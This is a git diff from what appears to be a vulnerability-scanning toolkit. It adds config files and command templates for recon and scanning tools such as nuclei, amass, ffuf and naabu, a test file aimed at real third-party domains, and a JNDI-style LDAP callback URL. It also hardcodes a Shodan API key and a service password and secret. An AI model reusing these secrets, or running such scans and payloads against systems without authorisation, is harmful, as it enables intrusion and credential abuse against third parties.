diff --git a/README_CN.md b/README_CN.md index 91933261d..3573745d4 100644 --- a/README_CN.md +++ b/README_CN.md @@ -257,7 +257,7 @@ go env |grep GOPRIVATE /~https://github.com/heartshare/go-wafw00f -git submodule add --force /~https://github.com/hktalent/nuclei-templates.git config/nuclei-templates +git submodule add --force /~https://github.com/projectdiscovery/nuclei-templates.git config/nuclei-templates git submodule update --init --recursive /usr/bin/git -c protocol.version=2 submodule update --init --force --recursive --> \ No newline at end of file diff --git a/config.yaml b/config.yaml new file mode 100644 index 000000000..73326185d --- /dev/null +++ b/config.yaml @@ -0,0 +1,6 @@ +bind: http://127.0.0.1:5000 +cors: '*' +defaultsign: '*' +password: 37010b4d5d +secret: 37010b4d5d03fc9d169d30eb9c6439becf0163b8 +username: jaeles diff --git a/config/config.ini b/config/config.ini new file mode 100644 index 000000000..c3239a2dc --- /dev/null +++ b/config/config.ini @@ -0,0 +1,432 @@ +# Copyright © by Jeff Foley 2017-2022. All rights reserved. +# Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. +# SPDX-License-Identifier: Apache-2.0 + +# Should results only be collected passively and without DNS resolution? Not recommended. +#mode = passive +# Would you like to use active techniques that communicate directly with the discovered assets, +# such as pulling TLS certificates from discovered IP addresses and attempting DNS zone transfers? +#mode = active + +# The directory that stores the Cayley graph database and other output files +# The default for Linux systems is: $HOME/.config/amass +#output_directory = amass + +# Another location (directory) where the user can provide ADS scripts to the engine. +#scripts_directory = + +# The maximum number of DNS queries that can be performed concurrently during the enumeration. +#maximum_dns_queries = 20000 + +# DNS resolvers used globally by the amass package. +#[resolvers] +#resolver = 1.1.1.1 ; Cloudflare +#resolver = 8.8.8.8 ; Google +#resolver = 64.6.64.6 ; Verisign +#resolver = 74.82.42.42 ; Hurricane Electric +#resolver = 1.0.0.1 ; Cloudflare Secondary +#resolver = 8.8.4.4 ; Google Secondary +#resolver = 64.6.65.6 ; Verisign Secondary +#resolver = 77.88.8.8 ; Yandex.DNS Secondary + +[scope] +# The network infrastructure settings expand scope, not restrict the scope. +# Single IP address or range (e.g. a.b.c.10-245) +#address = 192.168.1.1 +#cidr = 192.168.1.0/24 +#asn = 26808 +port = 80 +port = 443 +#port = 8080 +#port = 8443 + +# Root domain names used in the enumeration. The findings are limited by the root domain names provided. +#[scope.domains] +#domain = owasp.org +#domain = appsecusa.org +#domain = appsec.eu +#domain = appsec-labs.com + +# Are there any subdomains that are out of scope? +#[scope.blacklisted] +#subdomain = education.appsec-labs.com +#subdomain = 2012.appsecusa.org + +# The graph database discovered DNS names, associated network infrastructure, results from data sources, etc. +# This information is then used in future enumerations and analysis of the discoveries. +#[graphdbs] +# postgres://[username:password@]host[:port]/database-name?sslmode=disable of the PostgreSQL +# database and credentials. Sslmode is optional, and can be disable, require, verify-ca, or verify-full. +#[graphdbs.postgres] +#primary = false ; Specify which graph database is the primary db, or the local database will be selected. +#url = "postgres://[username:password@]host[:port]/database-name?sslmode=disable" +#options="connect_timeout=10" + +# MqSQL database and credentials URL format: +# [username:password@]tcp(host[:3306])/database-name?timeout=10s +#[graphdbs.mysql] +#url = [username:password@]tcp(host[:3306])/database-name?timeout=10s + +# Settings related to DNS name brute forcing. +#[bruteforce] +#enabled = true +#recursive = true +# Number of discoveries made in a subdomain before performing recursive brute forcing: Default is 1. +#minimum_for_recursive = 1 +#wordlist_file = /usr/share/wordlists/all.txt +#wordlist_file = /usr/share/wordlists/all.txt # multiple lists can be used + +# Would you like to permute resolved names? +#[alterations] +#enabled = true +# edit_distance specifies the number of times a primitive edit operation will be +# performed on a name sample during fuzzy label searching. +#edit_distance = 1 ; Setting this to zero will disable this expensive feature. +#flip_words = true # test-dev.owasp.org -> test-prod.owasp.org +#flip_numbers = true # test1.owasp.org -> test2.owasp.org +#add_words = true # test.owasp.org -> test-dev.owasp.org +#add_numbers = true # test.owasp.org -> test1.owasp.org +# Multiple lists can be used. +#wordlist_file = /usr/share/wordlists/all.txt +#wordlist_file = /usr/share/wordlists/all.txt + +[data_sources] +# When set, this time-to-live is the minimum value applied to all data source caching. +minimum_ttl = 1440 ; One day + +# Are there any data sources that should be disabled? +#[data_sources.disabled] +#data_source = Ask +#data_source = Bing + +# Provide data source configuration information. +# See the following format: +#[data_sources.SOURCENAME] ; The SOURCENAME must match the name in the data source implementation. +#ttl = 4320 ; Time-to-live value sets the number of minutes that the responses are cached. +# Unique identifier for this set of SOURCENAME credentials. +# Multiple sets of credentials can be provided and will be randomly selected. +#[data_sources.SOURCENAME.CredentialSetID] +#apikey = ; Each data source uses potentially different keys for authentication. +#secret = ; See the examples below for each data source. +#username = +#password = + +# https://passivedns.cn (Contact) +#[data_sources.360PassiveDNS] +#[data_sources.360PassiveDNS.Credentials] +#apikey = + +# https://asnlookup.com (Free) +#[data_sources.ASNLookup] +#[data_sources.ASNLookup.Credentials] +#apikey = + +# https://ahrefs.com (Paid) +#[data_sources.Ahrefs] +#ttl = 4320 +#[data_sources.Ahrefs.Credentials] +#apikey = + +# https://otx.alienvault.com (Free) +#[data_sources.AlienVault] +#[data_sources.AlienVault.Credentials] +#apikey = + +# https://bevigil.com/osint-api +# [data_sources.BeVigil] +# [data_sources.BeVigil.Credentials] +# apikey = + +# https://bigdatacloud.com (Free) +#[data_sources.BigDataCloud] +#[data_sources.BigDataCloud.Credentials] +#apikey = + +# https://app.binaryedge.com (Paid/Free-trial) +#[data_sources.BinaryEdge] +#ttl = 10080 +#[data_sources.BinaryEdge.Credentials] +#apikey = + +# https://tls.bufferover.run (Freemium) +#[data_sources.BufferOver] +#[data_sources.BufferOver.Credentials] +#apikey = + +# https://builtwith.com (Paid/Free-trial) +#[data_sources.BuiltWith] +#ttl = 10080 +#[data_sources.BuiltWith.Credentials] +#apikey = + +# https://c99.nl (Paid) +#[data_sources.C99] +#ttl = 4320 +#[data_sources.C99.account1] +#apikey = +#[data_sources.C99.account2] +#apikey = + +# https://censys.io (Paid/Free-trial) +#[data_sources.Censys] +#ttl = 10080 +#[data_sources.Censys.Credentials] +#apikey = +#secret = + +# https://chaos.projectdiscovery.io (Invite-Only) +#[data_sources.Chaos] +#ttl = 4320 +#[data_sources.Chaos.Credentials] +#apikey = + +# https://circl.lu (Contact) +#[data_sources.CIRCL] +#[data_sources.CIRCL.Credentials] +#username = +#password = + +# https://cloudflare.com (Free) +# Cloudflare apikey is the API token with dns_records and zone read permission +#[data_sources.Cloudflare] +#[data_sources.Cloudflare.Credentials] +#apikey = + +# https://www.digicert.com/tls-ssl/certcentral-tls-ssl-manager (Free) +# CertCentral username is the account ID (account number) +#[data_sources.CertCentral] +#[data_sources.CertCentral.Credentials] +#username = +#apikey = + +# https://dnsdb.info (Paid) +#[data_sources.DNSDB] +#ttl = 4320 +#[data_sources.DNSDB.Credentials] +#apikey = + +# https://dnslytics.com (Paid) +#[data_sources.DNSlytics] +#[data_sources.DNSlytics.Credentials] +#apikey = + +# https://dnsrepo.noc.org (Paid) +#[data_sources.DNSRepo] +#[data_sources.DNSRepo.Credentials] +#apikey = + +# https://deepinfo.com (Paid/Free-Trial) +#[data_sources.Deepinfo] +#[data_sources.Deepinfo.Credentials] +#apikey = + +# https://detectify.com (Paid) +#[data_sources.Detectify] +#[data_sources.Detectify.Credentials] +#apikey = + +# https://developer.facebook.com (Free) +# Look here for how to obtain the Facebook credentials: +# https://goldplugins.com/documentation/wp-social-pro-documentation/how-to-get-an-app-id-and-secret-key-from-facebook/ +#[data_sources.FacebookCT] +#ttl = 4320 +#[data_sources.FacebookCT.app1] +#apikey = +#secret = +#[data_sources.FacebookCT.app2] +#apikey = +#secret = + +# https://fofa.info (Paid) +#[data_sources.FOFA] +#ttl = 10080 +#[data_sources.FOFA.Credentials] +#username = +#apikey = + +# https://fullhunt.io (Free) +#[data_sources.FullHunt] +#[data_sources.FullHunt.Credentials] +#apikey = + +# https://github.com (Free) +#[data_sources.GitHub] +#ttl = 4320 +#[data_sources.GitHub.accountname] +#apikey = + +# https://gitlab.com (Free) +# GitLab apikey is the personal access token with at least read_repository or api scope +#[data_sources.GitLab] +#ttl = 4320 +#[data_sources.GitLab.accountname] +#apikey = + +# https://hackertarget.com (Paid/Free) +#[data_sources.HackerTarget] +#ttl = 1440 +#[data_sources.HackerTarget.Credentials] +#apikey = + +# https://hunter.io (Paid/Free-trial) +#[data_sources.Hunter] +#[data_sources.Hunter.Credentials] +#apikey = + +# https://intelx.io (Freemium) +#[data_sources.IntelX] +#[data_sources.IntelX.Credentials] +#apikey = + +# https://ipdata.co (Free) +#[data_sources.IPdata] +#[data_sources.IPdata.Credentials] +#apikey = + +# https://ipinfo.io (Paid/Free-trial) +#[data_sources.IPinfo] +#[data_sources.IPinfo.Credentials] +#apikey = + +# https://leakix.net (Free) +#[data_sources.LeakIX] +#[data_sources.LeakIX.Credentials] +#apikey = + +# https://netlas.io (Free) +#[data_sources.Netlas] +#[data_sources.Netlas.Credentials] +#apikey = + +# https://networksdb.io (Paid/Free-trial) +#[data_sources.NetworksDB] +#[data_sources.NetworksDB.Credentials] +#apikey = + +# https://onyphe.io (Free) +#[data_sources.ONYPHE] +#ttl = 4320 +#[data_sources.ONYPHE.Credentials] +#apikey = + +# https://psbdmp.ws (Free) +#[data_sources.Pastebin] +#ttl = 10080 +#[data_sources.Pastebin.Credentials] +#apikey = + +# https://www.riskiq.com/products/passivetotal (Paid/Free-trial) +#[data_sources.PassiveTotal] +#ttl = 10080 +#[data_sources.PassiveTotal.Credentials] +#username = +#apikey = + +# https://pentest-tools.com (Paid) +#[data_sources.PentestTools] +#ttl = 10080 +#[data_sources.PentestTools.Credentials] +#apikey = + +# https://publicwww.com (Free) +#[data_sources.PublicWWW] +#ttl = 10080 +#[data_sources.PublicWWW.Credentials] +#apikey = + +# https://quake.360.cn (Paid) +#[data_sources.Quake] +#ttl = 4320 +#[data_sources.Quake.Credentials] +#apikey = + +# https://socradar.io (Paid) +# This requires a SOCRadar ThreatFusion API key, which is different from a general SOCRadar API key. +# To obtain it, contact the SOCRadar operation team via operation@socradar.io +#[data_sources.SOCRadar] +#[data_sources.SOCRadar.Credentials] +#apikey = + +# https://securitytrails.com (Paid/Free-trial) +#[data_sources.SecurityTrails] +#ttl = 1440 +#[data_sources.SecurityTrails.Credentials] +#apikey = + +# https://shodan.io (Paid/Free-trial) +#[data_sources.Shodan] +#ttl = 10080 +#[data_sources.Shodan.Credentials] +#apikey = + +# https://spamhaus.com (Freemium) +#[data_sources.Spamhaus] +#ttl = 1440 +#[data_sources.Spamhaus.Credentials] +#username = +#password = + +# https://spyse.com (Paid/Free-trial) +#[data_sources.Spyse] +#ttl = 4320 +#[data_sources.Spyse.Credentials] +#apikey = + +# https://threatbook.cn (Paid) +#[data_sources.ThreatBook] +#[data_sources.ThreatBook.account1] +#apikey= + +# https://developer.twitter.com (Free) +# Provide your Twitter App Consumer API key and Consumer API secret key +#[data_sources.Twitter] +#[data_sources.Twitter.account1] +#apikey = +#secret = +#[data_sources.Twitter.account2] +#apikey = +#secret = + +# https://umbrella.cisco.com (Paid-Enterprise) +# The apikey must be an API access token created through the Investigate management UI +#[data_sources.Umbrella] +#[data_sources.Umbrella.Credentials] +#apikey = + +# https://urlscan.io (Paid/Free-trial) +# URLScan can be used without an API key, but the key allows new submissions to be made +#[data_sources.URLScan] +#[data_sources.URLScan.Credentials] +#apikey = + +# https://virustotal.com (Paid/Free-trial) +#[data_sources.VirusTotal] +#ttl = 10080 +#[data_sources.VirusTotal.Credentials] +#apikey = + +# https://whoisxmlapi.com (Paid/Free-trial) +#[data_sources.WhoisXMLAPI] +#[data_sources.WhoisXMLAPI.Credentials] +#apikey = + +# https://zetalytics.com (Paid/Invite-Only) +#[data_sources.ZETAlytics] +#ttl = 1440 +#[data_sources.ZETAlytics.Credentials] +#apikey = + +# https://zoomeye.org (Free) +#[data_sources.ZoomEye] +#ttl = 1440 +#[data_sources.ZoomEye.Credentials] +#username = +#password = + +# https://yandex.com/dev/xml/ (Free) +# Restrictions and requirements: https://yandex.com/dev/xml/doc/dg/concepts/restrictions-new.html +#[data_sources.Yandex] +#ttl = 1440 +#[data_sources.Yandex.Credentials] +#username = +#apikey = diff --git a/config/config.json b/config/config.json index 77978ab30..8ea3dfd81 100644 --- a/config/config.json +++ b/config/config.json @@ -1,4 +1,160 @@ { + "update": { + "OWASP": ["Amass"], + "ffuf": ["ffuf"], + "OJ": ["gobuster"], + "projectdiscovery": ["naabu","nuclei","subfinder","httpx","katana","interactsh","uncover","dnsx","shuffledns","tlsx","asnmap"] + }, + "cmds":{ + "ffuf": [ + "-u","", + "-w","{PWD}/brute/dicts/filedic.txt", + "-http2", + "-ignore-body", + "-recursion-strategy", + "-noninteractive", + "-rate",5000, + "-s","-sa", + "-mode","clusterbomb", + "-maxtime",60, + "-t",64, + "-mc","200,204,301,302,307,401,403,405,500", + "-b","JSESSIONID=rememberMe=123", + "-json","-o","" + ], + "amass": [ + "enum", + "-d","", + "-active", + "-alts", + "-brute", + "-config","{PWD}/config/config.ini", + "-ip", + "-max-depth",5, + "-nocolor", + "-p","80,443", + "-json","" + ], + "uncover": [ + "-q","", + "-engine","shodan", + "-provider","{PWD}/config/uncover/provider-config.yaml", + "-shodan", + "-silent","-nc","-json","-o","" + ], + "httpx": [ + "-l", "", + "-sc","-cl","-location","-favicon","-title","-server","-method","-websocket","-ip","-cname","-asn","-cdn", + "-jarm", + "-threads","64", + "-probe-all-ips", + "-ports","http:80,8080,7001,7009,https:443,8080", + "-tls-probe","-csp-probe", + "-tls-grab", + "-pipeline", + "-http2", + "-H","Cookie:JSESSIONID=rememberMe=123", + "-vhost", + "-rate-limit","150", + "-hash","sha1", + "-random-agent", + "-td", + "-silent", + "-json", "-o", "" + ], + "subfinder": [ + "-list", "", + "-config","{PWD}/config/subfinder/config.yaml", + "-active","-ip", + "-all", + "-provider-config","{PWD}/config/subfinder/provider-config.yaml", + "-silent","-nc","-json", "-o", "" + ], + "shuffledns": [ + "-r", "", + "-w","{PWD}/config/database/subdomain.txt", + "-silent","-nc","-json", "-o", "" + ], + "tlsx": [ + "-l", "", + "-p","443", + "-scan-mode","auto", + "-ps", + "-scan-all-ips", + "-ip-version","4,6", + "-so", + "-tls-version", + "-cipher", + "-hash","sha1", + "-jarm", + "-ja3", + "-wildcard-cert", + "-probe-status", + "-expired", + "-self-signed", + "-mismatched", + "-revoked", + "-c",300, + "-silent","-nc","-json", "-o", "" + ], + "katana": [ + "-list", "", + "-js-crawl", + "-known-files", + "-automatic-form-fill", + "-headless", + "-system-chrome", + "--no-sandbox", + "-fields","url,path,fqdn,rdn,rurl,qurl,qpath,file,key,value,kv,dir,udir", + "-store-fields","url,path,fqdn,rdn,rurl,qurl,qpath,file,key,value,kv,dir,udir", + "-concurrency",10, + "-parallelism",10, + "-rate-limit",150, + "-headless-options","--disable-default-apps=true --disable-extensions=true --disable-popup-blocking=true --disable-prompt-on-repost=true --blink-settings=true --enable-quic=imagesEnabled=false --quic-version=h3-23", + "-silent","-nc","-json", "-o", "" + ], + "dnsx": [ + "-l", "", + "-aaaa", + "-cname", + "-ns", + "-txt", + "-ptr", + "-mx", + "-soa", + "-axfr", + "-caa", + "-t",100, + "-silent","-json", "-o", "" + ], + "nuclei": [ + "-l", "", + "-t","{PWD}/config/nuclei-templates,{PWD}/config/51pwn", + "-no-strict-syntax", + "-severity","critical,high,medium", + "-type","http,network,websocket,dns,ssl", + "-report-config","{PWD}/config/nuclei_esConfig.yaml", + "-ztls", + "-config-directory","{PWD}/config/nuclei", + "-interactions-cache-size",5000, + "-interactions-eviction",60, + "-interactions-poll-duration",5, + "-interactions-cooldown-period",5, + "-max-host-error",5, + "-duc", + "-silent","-nc","-json", "-o", "" + ], + "naabu":[ + "-l", "", + "-port", "1-65535", + "-iv", "4,6", + "-scan-type", "s", + "-sa","-silent","-nc", + "-c", "64", + "-rate", "2000", + "-json", "-o", "" + ] + }, "ldapServer": "ldap://docker.for.mac.localhost:1389/%s/#UpX34defineClass", "LimitReader": 819200, "OnClient": true, diff --git a/config/nuclei/.nuclei-ignore b/config/nuclei/.nuclei-ignore new file mode 100755 index 000000000..14806f1df --- /dev/null +++ b/config/nuclei/.nuclei-ignore @@ -0,0 +1,37 @@ +# ==| Nuclei Templates Ignore list |== +# ==================================== +# +# This is default list of tags and files to excluded from default nuclei scan. +# More details - https://nuclei.projectdiscovery.io/nuclei/get-started/#template-exclusion +# +# ============ DO NOT EDIT ============ +# Automatically updated by nuclei on execution from nuclei-templates +# User changes should be in nuclei config file +# ============ DO NOT EDIT ============ + +# tags is a list of tags to ignore execution for +# unless asked for by the user. + +tags: + - "fuzz" + - "dos" + +# The following templates have been excluded because they have weak matchers and may generate FP results. +# Please feel free to create PR if you can update the templates with strict matchers. + +# files is a list of files to ignore template execution +# unless asked for by the user. + +files: + - cves/2006/CVE-2006-1681.yaml + - cves/2007/CVE-2007-5728.yaml + - cves/2014/CVE-2014-9608.yaml + - cves/2018/CVE-2018-5233.yaml + - cves/2020/CVE-2020-11930.yaml + - cves/2020/CVE-2020-19295.yaml + - cves/2020/CVE-2020-2036.yaml + - cves/2020/CVE-2020-28351.yaml + - cves/2021/CVE-2021-35265.yaml + - vulnerabilities/generic/basic-xss-prober.yaml + - vulnerabilities/oracle/oracle-ebs-xss.yaml + - vulnerabilities/other/nginx-module-vts-xss.yaml diff --git a/config/nuclei/.templates-config.json b/config/nuclei/.templates-config.json new file mode 100644 index 000000000..9aba96732 --- /dev/null +++ b/config/nuclei/.templates-config.json @@ -0,0 +1 @@ +{"nuclei-templates-directory":"/Users/51pwn/MyWork/scan4all_release/config/nuclei-templates","nuclei-version":"2.7.9","nuclei-latest-version":"","nuclei-templates-latest-version":""} diff --git a/config/nuclei/config.yaml b/config/nuclei/config.yaml new file mode 100755 index 000000000..b6900d95d --- /dev/null +++ b/config/nuclei/config.yaml @@ -0,0 +1,323 @@ +# nuclei config file +# generated by /~https://github.com/projectdiscovery/goflags + +# target urls/hosts to scan +#target: [] + +# path to file containing a list of target urls/hosts to scan (one per line) +#list: + +# resume scan using resume.cfg (clustering will be disabled) +#resume: + +# run only new templates added in latest nuclei-templates release +#new-templates: false + +# run new templates added in specific version +#new-templates-version: + +# automatic web scan using wappalyzer technology detection to tags mapping +#automatic-scan: false + +# list of template or template directory to run (comma-separated, file) +#templates: + +# list of template urls to run (comma-separated, file) +#template-url: + +# list of workflow or workflow directory to run (comma-separated, file) +#workflows: + +# list of workflow urls to run (comma-separated, file) +#workflow-url: + +# validate the passed templates to nuclei +#validate: false + +# disable strict syntax check on templates +#no-strict-syntax: false + +# list all available templates +#tl: false + +# allowed domain list to load remote templates from +#remote-template-domain: ["api.nuclei.sh"] + +# templates to run based on authors (comma-separated, file) +#author: + +# templates to run based on tags (comma-separated, file) +#tags: + +# templates to exclude based on tags (comma-separated, file) +#exclude-tags: + +# tags to be executed even if they are excluded either by default or configuration +#include-tags: + +# templates to run based on template ids (comma-separated, file) +#template-id: + +# templates to exclude based on template ids (comma-separated, file) +#exclude-id: + +# templates to be executed even if they are excluded either by default or configuration +#include-templates: + +# template or template directory to exclude (comma-separated, file) +#exclude-templates: + +# template matchers to exclude in result +#exclude-matchers: + +# templates to run based on severity. possible values: info, low, medium, high, critical, unknown +#severity: + +# templates to exclude based on severity. possible values: info, low, medium, high, critical, unknown +#exclude-severity: + +# templates to run based on protocol type. possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois +#type: + +# templates to exclude based on protocol type. possible values: dns, file, http, headless, network, workflow, ssl, websocket, whois +#exclude-type: + +# output file to write found issues/vulnerabilities +#output: + +# store all request/response passed through nuclei to output directory +#store-resp: false + +# store all request/response passed through nuclei to custom directory +#store-resp-dir: output + +# display findings only +#silent: false + +# disable output content coloring (ansi escape codes) +#no-color: false + +# write output in jsonl(ines) format +#json: false + +# include request/response pairs in the jsonl output (for findings only) +#include-rr: false + +# disable printing result metadata in cli output +#no-meta: false + +# disable printing timestamp in cli output +#no-timestamp: false + +# nuclei reporting database (always use this to persist report data) +#report-db: + +# display match failure status +#matcher-status: false + +# directory to export results in markdown format +#markdown-export: + +# file to export results in sarif format +#sarif-export: + +# path to the nuclei configuration file +#config: + +# enable following redirects for http templates +#follow-redirects: false + +# max number of redirects to follow for http templates +#max-redirects: 10 + +# disable redirects for http templates +#disable-redirects: false + +# nuclei reporting module configuration file +#report-config: + +# custom header/cookie to include in all http request in header:value format (cli, file) +#header: + +# custom vars in key=value format +#var: + +# file containing resolver list for nuclei +#resolvers: + +# use system dns resolving as error fallback +#system-resolvers: false + +# enable passive http response processing mode +#passive: false + +# enable environment variables to be used in template +#env-vars: false + +# client certificate file (pem-encoded) used for authenticating against scanned hosts +#client-cert: + +# client key file (pem-encoded) used for authenticating against scanned hosts +#client-key: + +# client certificate authority file (pem-encoded) used for authenticating against scanned hosts +#client-ca: + +# show match lines for file templates, works with extractors only +#show-match-line: false + +# use ztls library with autofallback to standard one for tls13 +#ztls: false + +# tls sni hostname to use (default: input domain name) +#sni: + +# interactsh server url for self-hosted instance (default: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me) +#interactsh-server: + +# authentication token for self-hosted interactsh server +#interactsh-token: + +# number of requests to keep in the interactions cache +#interactions-cache-size: 5000 + +# number of seconds to wait before evicting requests from cache +#interactions-eviction: 60 + +# number of seconds to wait before each interaction poll request +#interactions-poll-duration: 5 + +# extra time for interaction polling before exiting +#interactions-cooldown-period: 5 + +# disable interactsh server for oast testing, exclude oast based templates +#no-interactsh: false + +# maximum number of requests to send per second +#rate-limit: 150 + +# maximum number of requests to send per minute +#rate-limit-minute: 0 + +# maximum number of hosts to be analyzed in parallel per template +#bulk-size: 25 + +# maximum number of templates to be executed in parallel +#concurrency: 25 + +# maximum number of headless hosts to be analyzed in parallel per template +#headless-bulk-size: 10 + +# maximum number of headless templates to be executed in parallel +#headless-concurrency: 10 + +# time to wait in seconds before timeout +#timeout: 5 + +# number of times to retry a failed request +#retries: 1 + +# leave default http/https ports (eg. host:80,host:443 +#leave-default-ports: false + +# max errors for a host before skipping from scan +#max-host-error: 30 + +# use a project folder to avoid sending same request multiple times +#project: false + +# set a specific project path +#project-path: /var/folders/_l/pnb2t_9s0f192bqlz1348vpr0000gn/T/ + +# stop processing http requests after the first match (may break template/workflow logic) +#stop-at-first-path: false + +# stream mode - start elaborating without sorting the input +#stream: false + +# timeout on input read +#input-read-timeout: + +# disable stdin processing +#no-stdin: false + +# enable templates that require headless browser support (root user on linux will disable sandbox) +#headless: false + +# seconds to wait for each page in headless mode +#page-timeout: 20 + +# show the browser on the screen when running templates with headless mode +#show-browser: false + +# use local installed chrome browser instead of nuclei installed +#system-chrome: false + +# show all requests and responses +#debug: false + +# show all sent requests +#debug-req: false + +# show all received responses +#debug-resp: false + +# list of http/socks5 proxy to use (comma separated or file input) +#proxy: [] + +# proxy all internal requests +#proxy-internal: false + +# file to write sent requests trace log +#trace-log: + +# file to write sent requests error log +#error-log: + +# show nuclei version +#version: false + +# enable nuclei hang monitoring +#hang-monitor: false + +# show verbose output +#verbose: false + +# display templates loaded for scan +#vv: false + +# enable pprof debugging server +#enable-pprof: false + +# shows the version of the installed nuclei-templates +#templates-version: false + +# run diagnostic check up +#health-check: false + +# update nuclei engine to the latest released version +#update: false + +# update nuclei-templates to latest released version +#update-templates: false + +# overwrite the default directory to install nuclei-templates +#update-directory: + +# disable automatic nuclei/templates update check +#disable-update-check: false + +# display statistics about the running scan +#stats: false + +# write statistics data to an output file in jsonl(ines) format +#stats-json: false + +# number of seconds to wait between showing a statistics update +#stats-interval: 5 + +# expose nuclei metrics on a port +#metrics: false + +# port to expose nuclei metrics on +#metrics-port: 9092 \ No newline at end of file diff --git a/config/nuclei/report-config.yaml b/config/nuclei/report-config.yaml new file mode 100644 index 000000000..bb7dcb776 --- /dev/null +++ b/config/nuclei/report-config.yaml @@ -0,0 +1,44 @@ +allow-list: + severity: [] + tags: [] +deny-list: + severity: [] + tags: [] +github: + base-url: "" + username: "" + owner: "" + token: "" + project-name: "" + issue-label: "" + severity-as-label: false +gitlab: + base-url: "" + username: "" + token: "" + project-name: "" + issue-label: "" + severity-as-label: false +jira: + cloud: false + update-existing: false + url: "" + account-id: "" + email: "" + token: "" + project-name: "" + issue-type: "" + severity-as-label: false +markdown: + directory: "" +sarif: + file: "" +elasticsearch: + host: "" + ip: "" + port: 0 + ssl: false + ssl-verification: false + username: "" + password: "" + index-name: "" diff --git a/config/nuclei_esConfig.yaml b/config/nuclei_esConfig.yaml index 6f347bcad..66c13ec05 100644 --- a/config/nuclei_esConfig.yaml +++ b/config/nuclei_esConfig.yaml @@ -2,11 +2,11 @@ elasticsearch: # IP for elasticsearch instance ip: 127.0.0.1 # Port is the port of elasticsearch instance - port: 9200 + port: 8081 # IndexName is the name of the elasticsearch index index-name: nuclei_index # SSL enables ssl for elasticsearch connection - ssl: false + ssl: true # SSLVerification disables SSL verification for elasticsearch ssl-verification: false # Username for the elasticsearch instance diff --git a/config/subfinder/config.yaml b/config/subfinder/config.yaml new file mode 100755 index 000000000..33602f69a --- /dev/null +++ b/config/subfinder/config.yaml @@ -0,0 +1,80 @@ +# subfinder config file +# generated by /~https://github.com/projectdiscovery/goflags + +# domains to find subdomains for +#domain: [] + +# file containing list of domains for subdomain discovery +#list: + +# specific sources to use for discovery (-s crtsh,github +#sources: [] + +# use only recursive sources +#recursive: false + +# use all sources (slow) for enumeration +#all: false + +# sources to exclude from enumeration (-es archiveis,zoomeye) +#exclude-sources: [] + +# maximum number of http requests to send per second +#rate-limit: 0 + +# number of concurrent goroutines for resolving (-active only) +#t: 10 + +# file to write output to +#output: + +# write output in jsonl(ines) format +#json: false + +# directory to write output (-dl only) +#output-dir: + +# include all sources in the output (-json only) +#collect-sources: false + +# include host ip in output (-active only) +#ip: false + +# flag config file +#config: /Users/51pwn/.config/subfinder/config.yaml + +# provider config file +#provider-config: /Users/51pwn/.config/subfinder/provider-config.yaml + +# comma separated list of resolvers to use +#r: [] + +# file containing list of resolvers to use +#rlist: + +# display active subdomains only +#active: false + +# http proxy to use with subfinder +#proxy: + +# show only subdomains in output +#silent: false + +# show version of subfinder +#version: false + +# show verbose output +#v: false + +# disable color in output +#no-color: false + +# list all available sources +#list-sources: false + +# seconds to wait before timing out +#timeout: 30 + +# minutes to wait for enumeration results +#max-time: 10 \ No newline at end of file diff --git a/config/subfinder/provider-config.yaml b/config/subfinder/provider-config.yaml new file mode 100644 index 000000000..8c2bfee05 --- /dev/null +++ b/config/subfinder/provider-config.yaml @@ -0,0 +1,23 @@ +bufferover: [] +binaryedge: [] +c99: [] +censys: [] +certspotter: [] +chaos: [] +chinaz: [] +dnsdb: [] +github: [] +intelx: [] +passivetotal: [] +robtex: [] +securitytrails: [] +shodan: + - FfH1z0IR5MiktkLbfMlQD93M3lPe32vH +spyse: [] +threatbook: [] +urlscan: [] +virustotal: [] +zoomeye: [] +zoomeyeapi: [] +fofa: [] +fullhunt: [] diff --git a/config/uncover/config.yaml b/config/uncover/config.yaml new file mode 100755 index 000000000..10c3ba045 --- /dev/null +++ b/config/uncover/config.yaml @@ -0,0 +1,47 @@ +# uncover config file +# generated by /~https://github.com/projectdiscovery/goflags + +# search query, supports: stdin,file,config input (example: -q 'example query', -q 'query.txt') +#query: + +# search engine to query (shodan,shodan-idb,fofa,censys) (default shodan) +#engine: + +# provider configuration file +#provider: /Users/51pwn/.config/uncover/provider-config.yaml + +# flag configuration file +#config: /Users/51pwn/.config/uncover/config.yaml + +# timeout in seconds +#timeout: 30 + +# delay between requests in seconds (0 to disable) +#delay: 1 + +# output file to write found results +#output: + +# field to display in output (ip,port,host) +#field: ip:port + +# write output in jsonl(ines) format +#json: false + +# write raw output as received by the remote api +#raw: false + +# limit the number of results to return +#limit: 100 + +# disable colors in output +#no-color: false + +# show only results in output +#silent: false + +# show version of the project +#version: false + +# show verbose output +#v: false \ No newline at end of file diff --git a/config/uncover/provider-config.yaml b/config/uncover/provider-config.yaml new file mode 100644 index 000000000..3e7f26001 --- /dev/null +++ b/config/uncover/provider-config.yaml @@ -0,0 +1,4 @@ +shodan: + - FfH1z0IR5MiktkLbfMlQD93M3lPe32vH +censys: [] +fofa: [] diff --git a/doNaabu_test.go b/doNaabu_test.go new file mode 100644 index 000000000..acddee814 --- /dev/null +++ b/doNaabu_test.go @@ -0,0 +1,207 @@ +package main + +import ( + "github.com/hktalent/ProScan4all/pkg/xcmd" + util "github.com/hktalent/go-utils" + "testing" +) + +func TestDoAmass(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"amass", args{"www.sina.com.cn\nhttps://www.baidu.com:443\n*.**.163.com"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := xcmd.DoAmass(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} +func TestDoSubfinder(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"subfinder", args{"www.sina.com.cn\nhttps://ww.baidu.com:443\n"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := xcmd.DoSubfinder(tt.args.s); got != tt.want { + t.Errorf("DoNaabu() = %v, want %v", got, tt.want) + } + }) + } + util.Wg.Wait() + util.CloseAll() +} +func TestDoShuffledns(t *testing.T) { + util.DoInitAll() + type args struct { + s string + } + tests := []struct { + name string + args args + want string + }{ + {"shuffledns", args{"www.sina.com.cn\nhttps://ww.baidu.com:443\n"}, ""}, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := 